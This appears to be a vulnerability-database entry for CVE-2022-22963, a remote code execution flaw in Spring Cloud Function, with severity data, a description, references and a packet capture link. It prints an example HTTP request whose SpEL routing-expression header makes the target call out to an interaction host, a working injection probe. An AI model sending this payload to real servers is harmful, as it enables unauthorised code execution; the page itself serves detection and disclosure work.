🔙 목록으로 돌아가기

CVE-2022-22963: Spring Cloud - Remote Code Execution

TitleSpring Cloud - Remote Code Execution
AuthorMr-xn,Adam Crosser
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94462
CVE IDCVE-2022-22963
CWE IDCWE-94,CWE-917
Tags cve cve2022 vulhub springcloud rce kev vmware vkev vuln

🔍 Vulnerability Description

Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.

🌐 HTTP Request

POST /functionRouter HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("d5jm411le0o1hj15j6ugn5yh5dkbyiefy.oast.online")
Accept-Encoding: gzip

uEDm0Sdq

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22963.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-22963.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A